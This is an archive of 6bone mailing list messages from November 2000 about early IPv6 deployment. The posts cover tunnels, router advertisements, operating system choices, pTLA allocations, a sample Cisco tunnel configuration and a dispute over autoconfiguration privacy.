From 6bone-owner  Tue Nov 14 06:54:14 2000
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To: yasu@sfc.wide.ad.jp, v6@wide.ad.jp
Cc: kato@wide.ad.jp, 6bone@ISI.EDU
Subject: RE: (v6 13810) Routing loop inside wide
Date: Tue, 14 Nov 2000 14:46:52 -0000
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Yep, it works fine now.
Thanks
Stuart

> -----Original Message-----
> From: Yasuhiro Ohara [mailto:yasu@sfc.wide.ad.jp]
> Sent: Tuesday, November 14, 2000 2:50 PM
> To: v6@wide.ad.jp; stuart.prevost@bt.com
> Cc: kato@wide.ad.jp; 6bone@ISI.EDU
> Subject: Re: (v6 13810) Routing loop inside wide
> 
> 
> 
> stuart.prevost> Hello,
> stuart.prevost> 
> stuart.prevost> Incase your not ware their seems to be a 
> problem on the wide network, there
> stuart.prevost> is a routing loop between these two boxes
> stuart.prevost> 
> stuart.prevost> pc7.otemachi.wide.ad.jp 
> [3ffe:501:0:1802:2e0:18ff:fe98:a28d]
> stuart.prevost> 
> stuart.prevost> &
> stuart.prevost> 
> stuart.prevost> pc8.otemachi.wide.ad.jp 
> [2001:200:0:1802:210:5aff:fe85:4414]
> 
> sorry, I've fixed it.
> could you try again?
> 
>       yasu@sfc.wide.ad.jp
> 

From 6bone-owner  Tue Nov 14 07:38:57 2000
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Date: Tue, 14 Nov 2000 16:38:45 +0100
From: Jasper Jongmans <aprogas@mail.com>
To: 6bone@ISI.EDU
Subject: Re: I don't understand... :)
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Tue, 14 Nov 2000, John Wright wrote:
> I have a computer which has a ntt tunnel onto the 6bone and I have a /48
> set of
> addresses to play with.
> 
> What I want to do and appear to be powerless to achieve is get the
> machines
> which the computer is attached to be able to use it as a router to the
> 6bone.
> 
> Currently I can use the link-layer address and specify the interface to
> ping6 another computer but that machine couldn't find the rtadv messages
> my
> rtadvd was sending and even with a manual ifconfig ifn inet6 alias
> 2001::... we couldn't ping6 the 2001 addresses even specifying an
> interface
> (tcpdump didn't show these pings but did show the fe80 ones).

Are you sure the hosts are configured to accept rtadv packets? I never worked with OpenBSD, but in FreeBSD one can change the behaviour concerning rtadv packets using rc.conf and/or sysctl. I am sure that with some BSD logic you can find out how to do it in OpenBSD ;) .

Since the rtadv packets are not received or not accepted by the hosts, they do not know who their router is. It is possible to manually configure addresses, but you must then also manually add a route (or several) so the host knows where to send its packets too. Specifying an interface works only on link-local addresses I think, that would explain why you still get not reply when specifying it.

> Also, when I was running rtadvd my default ipv6 interface was changed to
> the
> ethernet instead of the gif tunnel.

This sounds a little too odd to be true. Are you sure rtadvd is causing this?

> I'm totally confused.
> 
> The OS is OpenBSD 2.7.
> 
> How get worky or where look?

If none of the mentioned above works, then check your cables and try again later. ;)

- -- 
Jasper Jongmans                                            aprogas@mail.com
Website                         http://aprogas.student.utwente.nl/~aprogas/
PGP public key            ftp://aprogas.student.utwente.nl/keys/pgp_dss.asc

-----BEGIN PGP SIGNATURE-----
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From 6bone-owner  Tue Nov 14 09:42:59 2000
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Date: Tue, 14 Nov 2000 18:42:46 +0100
From: =?iso-8859-1?Q?M=AA?= Carmen Medina <mmedina@mat.upc.es>
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Subject: WINDOWS NT  OR  SUN SOLARIS??
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Hello
I want to join to 6bone, but I have a doubt about a device that I have
to use like a host, so what do you think that is better to use like a
workstation: a WINDOWS NT or SUN??
And why?
If someone have experience in some of these devices, I'd like to know
the results.

From 6bone-owner  Tue Nov 14 14:41:05 2000
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To: =?iso-8859-1?Q?M=AA?= Carmen Medina <mmedina@mat.upc.es>
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Subject: Re: WINDOWS NT  OR  SUN SOLARIS??
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On Tue, 14 Nov 2000, Mª Carmen Medina wrote:

> Hello
> I want to join to 6bone, but I have a doubt about a device that I have
> to use like a host, so what do you think that is better to use like a
> workstation: a WINDOWS NT or SUN??
> And why?

Why not try FreeBSD.  

Why?? For it is free and very good. You just can't lose any money.
Just gain knowlege. Besides the sourcecode is included and you
can make it even better. ;-)

> If someone have experience in some of these devices, I'd like to know
> the results.

G Hasse
 

----------------------------------------------------------------
Göran Hasse            email: gh@raditex.se     Tel: 08-6949270
Raditex AB             http://www.raditex.se    Fax: 08-6949280
Sickla Alle 7, 1tr                              Mob: 070-5530148
131 34  NACKA, SWEDEN



From 6bone-owner  Tue Nov 14 21:37:48 2000
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Message-ID: <001601c04ec6$22e50760$61480518@zama.net>
From: "Todd Whipple" <whipple@zama.net>
To: <6bone@ISI.EDU>
Subject: web utilities
Date: Tue, 14 Nov 2000 21:37:22 -0800
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For those looking for some web based IPv6 utilities to run quick tests, you
can visit www.zama6.net and click on IPv6 Network Utilities.  You will find
ping, traceroute, host and dig.

Todd Whipple


From 6bone-owner  Wed Nov 15 07:50:19 2000
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Date: Wed, 15 Nov 2000 07:49:40 -0800 (PST)
From: Wes Horner <wesman@resnet.uoregon.edu>
To: =?iso-8859-1?Q?M=AA?= Carmen Medina <mmedina@mat.upc.es>
cc: 6bone@ISI.EDU
Subject: Re: WINDOWS NT  OR  SUN SOLARIS??
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> I want to join to 6bone, but I have a doubt about a device that I have
> to use like a host, so what do you think that is better to use like a
> workstation: a WINDOWS NT or SUN??
> And why?

I have 4 different machines on the 6bone and of all of them the NT machine
is the lesat useful.  There is almost no software (mozilla?).  The ipv6
support is more like a proof of concept than an implementation.

The other machines are solaris8, openbsd and freebsd.  All 3 have
comperable ipv6 support.  Openbsd has trouble with bind9 (threads on
sparc).  I use openbsd mainly as the endpoint of my tunnel. 

The solaris imlementation if ipv6 is pretty nice.  I haven't had any
complaints.

Freebsd also works really well.  They have an ipv6 section in the ports
tree that makes building ipv6 apps easy.  Openbsd may have this as
well but I haven't looked. Freebsd and openbsd have the same ipv6 stack (
as do most of the bsds).

So why you may or may not want to use solaris you will definatley want to
use some unix.  Windows is way behind in the ipv6 world.

wes




From 6bone-owner  Wed Nov 15 12:43:48 2000
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Subject: Re: IPv6-only reachable (web)-site
In-Reply-To: <aan1f37hkf.fsf@limmat.switch.ch>
Message-ID: <Pine.LNX.4.21.0011152110510.749-100000@frigg.belbone.net>
Organization: Belgacom Multimedia - Internet backbone
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Greetings,

>> I did notice however that a traceroute from Belgium to Norway went
>> over Japan.
>> Well, it's not via the US (as would be the case for IPv4), but
>> hardly optimal neither. ;-)
> Well, you can bet this goes via the US (twice even :-).
Thing do are changing. There are actually some networks who do have direct
connections to Asia!

> > Isn't there any co-operation on European level for this kind of stuff?
> > (e.g. ten-155?)
> TF-TANT (the experimental side of TEN-155/Quantum) runs an IPv6
> network, mostly over TEN-155's ATM infrastructure:
> http://www.tbit.dk/quantum/ip6.html
> Currently the participants are all National Research Networks, and
> unfortunately BELNET doesn't seem to be one of them.
Well, it would be nice if we could have peering with these networks. ;-)


> I agree that some coordination would be useful to reduce routing
> absurdities like the one you observed, but this seems quite hard given
> the way the 6BONE is organized (very loosely).  I think the 6BONE is
> more useful as a platform for experimentation and interoperability
> testing than for production-quality packet transport over the globe.
True, but it would be nice to know -if I get very bad response-times from
a newly-installed web-proxy; if that is due to the proxy or due to basic
network-problems. (;-))

Anycase, there is always the possibility to set up bilatural peering
between 6bone-networks when it makes sence (like if there already good
IPV4-connectivity).

Anycase, that how it is done on IPv4: find out to what network you have 
bad connectivity and you try to get peering with them.
In the IPv4-work, you can only do this went your both on a common
Internet-Exchange. In IPv6, you just tunnel over v4, so it should actually
be easier.


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                      belgacom internet backbone
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff) International Connectivity
kristoff@belbone.net                            fax: +32 2 2435122


From 6bone-owner  Thu Nov 16 01:36:17 2000
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To: Kristoff Bonne <kristoff.bonne@skypro.be>,
        Simon Leinen <simon@limmat.switch.ch>
From: David Harmelin <david.harmelin@dante.org.uk>
Subject: Re: IPv6-only reachable (web)-site
Cc: Feico Dillema <feico@pasta.cs.uit.no>, 6bone@ISI.EDU,
        Marc Roger <marc@belnet.be>, Tim Chown <tjc@ECS.SOTON.AC.UK>,
        nep@dante.org.uk
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> > > Isn't there any co-operation on European level for this kind of stuff?
> > > (e.g. ten-155?)
> > TF-TANT (the experimental side of TEN-155/Quantum) runs an IPv6
> > network, mostly over TEN-155's ATM infrastructure:
> > http://www.tbit.dk/quantum/ip6.html
> > Currently the participants are all National Research Networks, and
> > unfortunately BELNET doesn't seem to be one of them.
>Well, it would be nice if we could have peering with these networks. ;-)
>

Actually, BELNET has just recently been connected to QTPv6 (the TEN-155 
IPv6 testbed).
BELNET contact: Marc Roger <marc@belnet.be>

The list at http://www.tbit.dk/quantum/participants.html  needs to be updated.

DH.
___________________________________________________________________
             * *         David Harmelin  	Network Engineer
           *     *				DANCERT Representative
          *              Francis House
         *               112 Hills Road       Tel +44 1223 302992
         *               Cambridge CB2 1PQ    Fax +44 1223 303005
      D  A  N  T  E      United Kingdom       WWW http://www.dante.net
____________________________________________________________________


From 6bone-owner  Thu Nov 16 12:32:00 2000
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Date: Thu, 16 Nov 2000 12:31:49 -0800 (PST)
From: Wes Horner <wesman@resnet.uoregon.edu>
To: Jeroen Massar <jeroen@unfix.org>
cc: =?iso-8859-1?Q?M=AA?= Carmen Medina <mmedina@mat.upc.es>, 6bone@ISI.EDU
Subject: Re: WINDOWS NT  OR  SUN SOLARIS??
In-Reply-To: <Pine.LNX.4.21.0011161655070.10007-100000@picard.cistron.nl>
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> Sounds very strange to you maybe but.. ehmm the tech previews which
> microsoft supply kinda have a small wininet.dll and guess what that does
> to your Internet Explorer... yep.. it makes it IPv6 capable...
> And all those "standard" tools like telnet etc are included too.. but
> hey... don't mind that... there is even a nice example source which
> comes along with it to show how to use the IPv6 stuff.


Ok I guess I should have been more clear.  I actually have windows
2000.  I keep calling it NT.  Anyway,  explorer doesn't seem to have ipv6
capabilites on that platform after installing the stack.  The docs talk
mainly about the tools that come with the stack.  This is a version that
was released in may.  There may be a new stack by now.


wes


From 6bone-owner  Thu Nov 16 18:09:18 2000
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From: "Wu Haisang" <hswu@ns.6test.edu.cn>
To: <6bone@ISI.EDU>
Subject: =?iso-8859-1?Q?=D7=AA=B7=A2:_WINDOWS_NT__OR__SUN_SOLARIS=3F=3F?=
Date: Fri, 17 Nov 2000 10:18:44 -0800
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Hi,
  About Microsoft IPv6 stack, pls browse http://www.research.microsoft.com/msripv6, 
you can get more info about their work, which I think is quite compatible with Win2000.
  I have been using FreeBSD since the birth of IPv6. FreeBSD2.x+ KAME, FreeBSD3.x+KAME,
or +INRIA are pretty good. Since FreeBSD4.x, KAME is embedded into the stack, which gives 
this OS much better performance.
  Linux can support IPv6 with needed modules added. 
  To begin with IPv6, maybe FreeBSD is a good point. And, MSR has its MSRIPv6 released 1.4 
free to download on website, the source code is very good. But the Win2000 Technical preview
(000925 updated) is made by product group, so only binary is availabe. 
   Hope to be useful. 
                   Haisang

  ______________________________________________
    Haisang Wu 
    CERNET IPv6 Testbed Operation Team
    Central Mainbuilding    Room 307 
    Tsinghua University     Beijing   P.R.China 
    Zipcode: 100084     
    Phone: 62785814-525(O)  BP: 191-1134725
    email: hswu@ns.6test.edu.cn
  ______________________________________________ 	
 

> -----????-----
> ???: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]?? Wes Horner
> ????: 2000?11?16? 12:32
> ???: Jeroen Massar
> ??: M?Carmen Medina; 6bone@ISI.EDU
> ??: Re: WINDOWS NT OR SUN SOLARIS??
> 
> 
> > Sounds very strange to you maybe but.. ehmm the tech previews which
> > microsoft supply kinda have a small wininet.dll and guess what that does
> > to your Internet Explorer... yep.. it makes it IPv6 capable...
> > And all those "standard" tools like telnet etc are included too.. but
> > hey... don't mind that... there is even a nice example source which
> > comes along with it to show how to use the IPv6 stuff.
> 
> 
> Ok I guess I should have been more clear.  I actually have windows
> 2000.  I keep calling it NT.  Anyway,  explorer doesn't seem to have ipv6
> capabilites on that platform after installing the stack.  The docs talk
> mainly about the tools that come with the stack.  This is a version that
> was released in may.  There may be a new stack by now.
> 
> 
> wes
> 

From 6bone-owner  Thu Nov 16 21:53:29 2000
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Date: Thu, 16 Nov 2000 21:53:16 -0800 (PST)
From: Wes Horner <wesman@resnet.uoregon.edu>
To: Tim Chown <tjc@ecs.soton.ac.uk>
cc: Jeroen Massar <jeroen@unfix.org>,
        =?iso-8859-1?Q?M=AA?= Carmen Medina <mmedina@mat.upc.es>,
        6bone@ISI.EDU
Subject: Re: WINDOWS NT  OR  SUN SOLARIS??
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> What I'm keen to see is a Java IPv6-enabled API.  Is anyone working on
> one? (Sun may be, but it seems to keep getting delayed...)  I wonder if
> MS or IBM might do so...?

Sun claims that by the end of next year java will be ipv6 enabled as will
most if not all of their products.  I must confess that I haven't seen a
lot of demand for it yet so I'm sure they aren't rushing.

wes


From 6bone-owner  Fri Nov 17 00:17:50 2000
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From: Byron Sorgdrager <bs@posix.co.za>
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Hi there,

Would anyone be so kind as to maybe post their network layout, (router 
setups/LAN setups/gateways etc.) to the list ?

The reason for this is to check and see what each person has, and maybe 
find a "good common practise" based on "real-life" scenarios in order to 
implement a stable network environment.

Any willing people out there ?



Kind Regards,

Byron Sorgdrager
Posix Systems Pty Ltd.

From 6bone-owner  Fri Nov 17 09:55:27 2000
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From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:80F0::/28 allocated to ZAMA
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ZAMA has been allocated pTLA 3FFE:80F0::/28 having finished its 2-week 
review period with no negative comments.

<http://whois.6bone.net/cgi-bin/whois?zama>

Note that it will take a short while for their inet6num object to show up 
as they have to create it.

However, their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


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EURONET-BE has been allocated pTLA 3FFE:8100::/28 having finished its 
2-week review period with no negative comments.

<http://whois.6bone.net/cgi-bin/whois?EURONET-BE>

Note that it will take a short while for their inet6num object to show up 
as they have to create it.

However, their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Sun Nov 19 15:11:46 2000
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From: "Enno Rey" <erey@ix.urz.uni-heidelberg.de>
To: <6bone@ISI.EDU>
Subject: Sample config for cisco router
Date: Mon, 20 Nov 2000 00:11:57 +0100
Message-ID: <AIEDIEKCJAADIEBGDEBOGEGECAAA.erey@ix.urz.uni-heidelberg.de>
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Hi,

I'm currently preparing a presentation about IPv6. For the practical part,
there will be a either a 2503 (running c2500-p-mz.v6) or a 3620 (running
c3620-tipv6-mz.19990308) involved. I'm not able to find any sample
configuration on cco.
Anybody got any pointers?

Thanks & regards,

Enno Rey

erey@ix.urz.uni-heidelberg.de
PGP 74C0 C7E1 3875 E4EB 9B75  8B9D 5E2D 3178 685B F222


From 6bone-owner  Sun Nov 19 18:59:49 2000
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From: "Michael W. Oliver" <oliver.michael@gargantuan.com>
To: "'Enno Rey'" <erey@ix.urz.uni-heidelberg.de>, 6bone@ISI.EDU
Subject: RE: Sample config for cisco router
Date: Sun, 19 Nov 2000 21:59:01 -0500
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You could go to freenet6.net and request a tunnel using a Cisco router,
and they will generate a configuration for you.  I hope that this helps.


                                     =
                   Michael W. Oliver =
mailto:oliver.michael@gargantuan.com =
      http://michael.gargantuan.com/ =
Page me at mailto:1570482@skytel.com =
======================================


-----Original Message-----
From: Enno Rey [mailto:erey@ix.urz.uni-heidelberg.de]
Sent: Sunday, November 19, 2000 6:12 PM
To: 6bone@ISI.EDU
Subject: Sample config for cisco router


Hi,

I'm currently preparing a presentation about IPv6. For the practical
part,
there will be a either a 2503 (running c2500-p-mz.v6) or a 3620 (running
c3620-tipv6-mz.19990308) involved. I'm not able to find any sample
configuration on cco.
Anybody got any pointers?

Thanks & regards,

Enno Rey

erey@ix.urz.uni-heidelberg.de
PGP 74C0 C7E1 3875 E4EB 9B75  8B9D 5E2D 3178 685B F222

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From 6bone-owner  Sun Nov 19 22:31:47 2000
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Date: Mon, 20 Nov 2000 07:31:28 +0100
From: Jean-Claude Christophe <jch@oleane.net>
To: Enno Rey <erey@ix.urz.uni-heidelberg.de>
Cc: 6bone@ISI.EDU
Subject: Re: Sample config for cisco router
Message-ID: <20001120073128.H21555@oleane.net>
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> Hi,
> 
> I'm currently preparing a presentation about IPv6. For the practical part,
> there will be a either a 2503 (running c2500-p-mz.v6) or a 3620 (running
> c3620-tipv6-mz.19990308) involved. I'm not able to find any sample
> configuration on cco.
> Anybody got any pointers?
> 
> Thanks & regards,

Here is an example of cisco's configuration with an ipv6 tunnel over
ipv4:

ipv6 unicast-routing
!
interface Tunnel1
 ipv6 enable
 ipv6 address <IPv6>/127
 tunnel source Ethernet1/0
 tunnel destination <ipv4 addr>
 tunnel mode ipv6ip
!
interface Ethernet1/1
 ipv6 enable
 ipv6 address <your IPv6 adress in your subnet>/<prefix>
!
ipv6 route 3FFE::/16 Tunnel1

It would be suffisent.

Regards,
-- 
Jean-Claude Christophe / jch@oleane.net / France Telecom Transpac

From 6bone-owner  Sun Nov 19 23:10:51 2000
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Date: Sun, 19 Nov 2000 23:06:35 -0800
To: Jean-Claude Christophe <jch@oleane.net>,
        Enno Rey <erey@ix.urz.uni-heidelberg.de>
From: Mathew Joseph <mjoseph@cisco.com>
Subject: Re: Sample config for cisco router
Cc: 6bone@ISI.EDU, mjoseph@cisco.com
In-Reply-To: <20001120073128.H21555@oleane.net>
References: <AIEDIEKCJAADIEBGDEBOGEGECAAA.erey@ix.urz.uni-heidelberg.de>
 <AIEDIEKCJAADIEBGDEBOGEGECAAA.erey@ix.urz.uni-heidelberg.de>
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Hi Enno,

You can also mail your ipv6 specific
queries to <ipv6-support@cisco.com>.

It may be of greater help for your 
presentation.


Thanks
Mathew Joseph

At 07:31 AM 11/20/00 +0100, Jean-Claude Christophe wrote:
>> Hi,
>> 
>> I'm currently preparing a presentation about IPv6. For the practical part,
>> there will be a either a 2503 (running c2500-p-mz.v6) or a 3620 (running
>> c3620-tipv6-mz.19990308) involved. I'm not able to find any sample
>> configuration on cco.
>> Anybody got any pointers?
>> 
>> Thanks & regards,
>
>Here is an example of cisco's configuration with an ipv6 tunnel over
>ipv4:
>
>ipv6 unicast-routing
>!
>interface Tunnel1
> ipv6 enable
> ipv6 address <IPv6>/127
> tunnel source Ethernet1/0
> tunnel destination <ipv4 addr>
> tunnel mode ipv6ip
>!
>interface Ethernet1/1
> ipv6 enable
> ipv6 address <your IPv6 adress in your subnet>/<prefix>
>!
>ipv6 route 3FFE::/16 Tunnel1
>
>It would be suffisent.
>
>Regards,
>-- 
>Jean-Claude Christophe / jch@oleane.net / France Telecom Transpac
> 


From 6bone-owner  Mon Nov 20 02:41:05 2000
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From: "Enno Rey" <erey@ix.urz.uni-heidelberg.de>
To: <6bone@ISI.EDU>
Subject: Re: Sample config for cisco router
Date: Mon, 20 Nov 2000 11:41:11 +0100
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Hi,

thanks to all who replied. I think I got enough input to get them up &
running.

As I said: Thanks

& regards,

Enno Rey

erey@ix.urz.uni-heidelberg.de
PGP 74C0 C7E1 3875 E4EB 9B75  8B9D 5E2D 3178 685B F222


From 6bone-owner  Mon Nov 20 02:42:49 2000
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From: John Wright <john@dryfish.org>
To: 6bone@ISI.EDU
Subject: Re: Sample config for cisco router
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Can you run a rtadv on a Cisco?

On Mon, Nov 20, 2000 at 07:31:28AM +0100, Jean-Claude Christophe wrote:
> > Hi,
> > 
> > I'm currently preparing a presentation about IPv6. For the practical part,
> > there will be a either a 2503 (running c2500-p-mz.v6) or a 3620 (running
> > c3620-tipv6-mz.19990308) involved. I'm not able to find any sample
> > configuration on cco.
> > Anybody got any pointers?
> > 
> > Thanks & regards,

From 6bone-owner  Mon Nov 20 04:34:03 2000
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From: Rafal Maszkowski <rzm@icm.edu.pl>
To: 6bone@ISI.EDU
Subject: IPv6/ATM - how?
Message-ID: <20001120133337.C8880@burza.icm.edu.pl>
References: <AIEDIEKCJAADIEBGDEBOGEGECAAA.erey@ix.urz.uni-heidelberg.de> <20001120073128.H21555@oleane.net> <20001120104237.F1068@dryfish.org>
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Which protocol (MPOA, LANE, IPv4/CLIP, ...) is normally used on IPv6 ATM point
to point links?


In Cisco Commands.txt.19991126 file I see such example

        int atm1/0
          atm pvc 1 <VPI> <VCI> aal5snap
          map-group foo

        map-list foo
          ipv6 5F00:6D00::5 atm-vc 1

In TEN-155 Telebit router configuration
http://www.tbit.dk/quantum/router-info/coreconf.html
there are entries like

# IPv6 OVER ATM, WAN INTERFACE
[...]
   ip access ACOnet -local 3ffe:8038:80:1::1 -peer 3ffe:8038:80:1::2 -mtu 9180
   ip atunnel -encapsulation 2 -vci 99
   ip bgp -peer 3ffe:8038:80:1::2 -ipv6 -rfc2283 1
   start bgp

What is 'atunnel'?


I plan to run long distance IPv6/ATM and I wonder what is the most appropriate
protocol. It could be e.g. Linux-Telebit or Linux-Cisco connection so
interoperabity is important. Now I see tunneling IPv6/IPv4/CLIP as the only
alternative. RFC 2492 seems to be something what could be used instead of
tunneling, kind of IPv6 CLIP but it is not implemented on Linux. Running long
distance LANE can be administratively difficult for us. I still do not
understand MPOA enough to know if it could an option here.

Please correct my mistakes, share your wisdom.

R.
-- 
W iskier krzesaniu ¿ywem/Materia³ to rzecz g³ówna

From 6bone-owner  Mon Nov 20 06:47:12 2000
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To: Jeff Williams <jwkckid1@ix.netcom.com>
cc: JIM FLEMING <jfleming@ANET.COM>, DOMAIN-POLICY@LISTS.NETSOL.COM,
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Subject: Re: Internet Protocol Version 6 Workshop 
In-Reply-To: Message from Jeff Williams <jwkckid1@ix.netcom.com> 
   of "Sat, 18 Nov 2000 00:08:32 PST." <3A1638FF.F072E677@ix.netcom.com> 
Date: Mon, 20 Nov 2000 09:46:24 -0500
From: Thomas Narten <narten@raleigh.ibm.com>
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Jeff Williams <jwkckid1@ix.netcom.com> writes:

>   A little over a year ago, there was some heated debate (I was
> involved) regarding the Privacy concerns with IPv6.  Most of this
> is do to two problems.  One being the "Autoconfig" for implementation
> specification for IPv6, the other is the "Always On" feature of IPv6.
> The implementation (Autoconfig as default) was and remains that
> biggest problem with respect to Privacy issues.  (Autoconfig) should
> not be default was my argument for implementation.  I also suggested
> several changes to the Spec for Autoconfig for consideration.  But
> the majority of the group felt that being able to track folks easily
> was more important.  I found this astounding.

This characterization of past IPng WG discussions is most definitely
false and at best a gross distortion of past discussions. At no time
that I can recall has the WG ever argued that "tracking folks" is a
desirable goal.  It is also completely inconsistent with the WG's
recent decision to recommend that the IESG publish
draft-ietf-ipngwg-addrconf-privacy-03.txt as a Proposed Standard.

Thomas

From 6bone-owner  Tue Nov 21 02:18:36 2000
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Date: Tue, 21 Nov 2000 11:20:07 +0100
From: marcelo <marcelo@it.uc3m.es>
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Subject: Re: Sample config for cisco router
References: <AIEDIEKCJAADIEBGDEBOGEGECAAA.erey@ix.urz.uni-heidelberg.de> <20001120073128.H21555@oleane.net> <20001120104237.F1068@dryfish.org>
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Hi,
I am trying to build a 6to4 tunnel.
What do you think I should use?
I would prefer to use something that runs on Linux but I could also use FreeBSD or
even Windows.
Thanks, m


From 6bone-owner  Tue Nov 21 07:12:51 2000
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From: Byron Sorgdrager <bs@posix.co.za>
Date: Tue, 21 Nov 2000 15:12:41 GMT
Message-ID: <20001121.15124100@firestar.posix.co.za>
Subject: Fwd: Re: Sample config for cisco router
To: 6bone@ISI.EDU
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Hi there,

Hop onto www.freenet6.net - they explain tunnels rather well :)


>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 11/21/00, 12:20:07 PM, marcelo <marcelo@it.uc3m.es> wrote regarding Re: 
Sample config for cisco router:


> Hi,
> I am trying to build a 6to4 tunnel.
> What do you think I should use?
> I would prefer to use something that runs on Linux but I could also use 
FreeBSD or
> even Windows.
> Thanks, m

From 6bone-owner  Tue Nov 21 07:16:53 2000
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From: Byron Sorgdrager <bs@posix.co.za>
Date: Tue, 21 Nov 2000 15:16:33 GMT
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Subject: Network Maps [WAS: Examples]
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Hi all,

a BIG thankyou to everyone who sent in replies !!

I am currently developing a South African based ipv6 site, to help pretty 
much Africa to get things working, or at least make them aware of Ipv6 
... and the info I've collected and received on this list, should prove 
to be quite usefull.


Kind Regards,

Byron Sorgdrager

-- IP v6 or not v6 - THAT is the question ...



From 6bone-owner  Tue Nov 21 08:48:53 2000
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Date: Tue, 21 Nov 2000 07:53:48 -0500
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From: "Brian Haberman" <haberman@nortelnetworks.com>
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To: Jeff Williams <jwkckid1@ix.netcom.com>
CC: Thomas Narten <narten@raleigh.ibm.com>, JIM FLEMING <jfleming@ANET.COM>,
        DOMAIN-POLICY@LISTS.NETSOL.COM, frezza@alum.mit.edu,
        "vinton g. cerf - ISOC" <vcerf@MCI.NET>, ISI IPv6 list <6bone@ISI.EDU>,
        Internet Architecture Board <iab@ISI.EDU>,
        IPng List <ipng@sunroof.eng.sun.com>
Subject: Re: Internet Protocol Version 6 Workshop
References: <200011201446.JAA01145@hygro.adsl.duke.edu> <3A1A02D3.58EF7E4D@ix.netcom.com>
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Jeff,
     Make up your mind.  Is it two members of the mailing list OR
a majority of the working group?  BIG difference.

Brian Haberman


Jeff Williams wrote:
> 
> Thomas and all,
> 
>   I am sorry I must respectfully disagree with you here Thomas.
> I specifically had a running debate with two members of the Ipng
> list members discussing this issue.
> 
> Thomas Narten wrote:
> 
> > Jeff Williams <jwkckid1@ix.netcom.com> writes:
> >
> > >   A little over a year ago, there was some heated debate (I was
> > > involved) regarding the Privacy concerns with IPv6.  Most of this
> > > is do to two problems.  One being the "Autoconfig" for implementation
> > > specification for IPv6, the other is the "Always On" feature of IPv6.
> > > The implementation (Autoconfig as default) was and remains that
> > > biggest problem with respect to Privacy issues.  (Autoconfig) should
> > > not be default was my argument for implementation.  I also suggested
> > > several changes to the Spec for Autoconfig for consideration.  But
> > > the majority of the group felt that being able to track folks easily
> > > was more important.  I found this astounding.
> >
> > This characterization of past IPng WG discussions is most definitely
> > false and at best a gross distortion of past discussions. At no time
> > that I can recall has the WG ever argued that "tracking folks" is a
> > desirable goal.  It is also completely inconsistent with the WG's
> > recent decision to recommend that the IESG publish
> > draft-ietf-ipngwg-addrconf-privacy-03.txt as a Proposed Standard.
> >
> > Thomas
> 
> Regards,
> 
> --
> Jeffrey A. Williams
> Spokesman INEGroup (Over 112k members strong!)
> CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
> Information Network Eng. Group. INEG. INC.
> E-Mail jwkckid1@ix.netcom.com
> Contact Number:  972-447-1800 x1894 or 9236 fwd's to home ph#
> Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
> 
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------

From 6bone-owner  Tue Nov 21 09:49:50 2000
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Date: Tue, 21 Nov 2000 18:49:05 +0100
From: Jean-Claude Christophe <jch@oleane.net>
To: marcelo <marcelo@it.uc3m.es>
Cc: 6bone@ISI.EDU
Subject: Re: Sample config for cisco router
Message-ID: <20001121184905.Y21555@oleane.net>
References: <AIEDIEKCJAADIEBGDEBOGEGECAAA.erey@ix.urz.uni-heidelberg.de> <20001120073128.H21555@oleane.net> <20001120104237.F1068@dryfish.org> <3A1A4C56.BBEA766@it.uc3m.es>
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> I am trying to build a 6to4 tunnel.
> What do you think I should use?
> I would prefer to use something that runs on Linux but I could also use FreeBSD or
> even Windows.

Choose the most comfortable system for you.

-- 
Jean-Claude Christophe / jch@oleane.net / France Telecom Transpac

From 6bone-owner  Tue Nov 21 11:19:34 2000
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From: Nathan Thompson <nate@thebog.net>
To: marcelo <marcelo@it.uc3m.es>
Cc: 6bone@ISI.EDU
Subject: Re: Sample config for cisco router
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References: <AIEDIEKCJAADIEBGDEBOGEGECAAA.erey@ix.urz.uni-heidelberg.de> <20001120073128.H21555@oleane.net> <20001120104237.F1068@dryfish.org> <3A1A4C56.BBEA766@it.uc3m.es>
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On Tue, Nov 21, 2000 at 11:20:07AM +0100, marcelo wrote:
> Hi,
> I am trying to build a 6to4 tunnel.
> What do you think I should use?
> I would prefer to use something that runs on Linux but I could also use FreeBSD or
> even Windows.
> Thanks, m

Hi,

Linux doesn't currently support 6to4, but i have a patch to implement it
if you are interested...   It works for me.

Nate
> 

From 6bone-owner  Tue Nov 21 12:01:50 2000
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Date: Tue, 21 Nov 2000 12:01:42 -0800 (PST)
From: Mark Sutton <mes@capelazo.com>
To: 6bone@ISI.EDU
Subject: Tunnel Request
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Hi, I have looked through the who-is database and traced some routes
to possible access points. The closest seems to be ipv6-gw1.pa-x.dec.com at
16 hops and ~60ms. bah.isi.edu is pretty good at 18 and ~65ms. Verio in 
Seattle would seem like a logical choice but requires a trip to California
and back. I have not contacted anyone directly yet, since I thought someone 
with more knowledge of the actual infrastructure could make a better
assessment than a few simple trace-routes. My address is 24.67.152.12
although my official static is 24.67.152.253 I have not configured it yet.
I have contacted Shaw, my ISP, but the person who felt qualified to answer,
has obviously never heard of 6bone. If I expect nothing but routing packets 
from them, I'm very pleased with their service.

Mark



From 6bone-owner  Tue Nov 21 14:30:05 2000
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From: Jae.Lee@intelsat.int
To: 6bone@ISI.EDU
Subject: Cisco router, NAT, and IPv6 tunnel.
Date: Tue, 21 Nov 2000 17:28:02 -0500
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Hi,
I have a simple question.
I have a Cisco router that I'd like to connect to Freenet6.
The problem is that I have to use NAT on the router and IOS does not appear
to support IPv6 and NAT on the same version/release - even the latest beta
release dated June, this year doesn't seem to support it.
Any suggestions or solutions?
Thank you for your help in advance.

Sincerely,

Jae H. Lee

____
Jae H. LEE / Communications Engineer
INTELSAT 
3400 International Drive NW, Washington DC 20008-3006, USA
Tel: +1-202-944-7498 / Email: Jae.Lee@INTELSAT.int




From 6bone-owner  Tue Nov 21 16:51:13 2000
